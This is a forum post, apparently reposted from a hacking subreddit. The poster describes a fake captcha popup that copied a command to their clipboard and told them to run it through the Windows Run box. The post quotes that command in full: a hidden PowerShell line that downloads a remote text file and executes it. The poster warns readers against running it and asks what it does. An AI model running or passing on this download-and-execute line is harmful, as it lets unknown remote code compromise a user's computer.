What would this malicious command do if I were to run it on my computer? A popup essentially told me to put it in the run window.
Brief warning: This is a sneaky fucking thing that a popup showed me after I clicked to verify as human, it's clearly extremely dodgy so unless you know what you're doing please don't do anything with it because it's almost certainly malicious and I don't have any idea what it does or if there are any other ways in which it could cause harm to someone's computer, which is the purpose of this post.
So basically what the website did was after I clicked the captcha it put a command line (below) into my clipboard, and said to verify in 3 steps which were "Hold windows key and press R" (which opens up the windows run window), "Press CTRL+V", "Press Enter."
This is the command:
"cmd.exe /c powershell -WindowStyle Hidden -Command "$rQd='https://s3-sos-scw5.b-cdn.net/fadi.txt'; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;"
I'm just curious as to what it would do if I used it.
Bonus: Is there anywhere else I could enter the code that would cause the same effect?
[link] [comments]
from hacking: security in practice https://ift.tt/BGUXALD
Comments
Post a Comment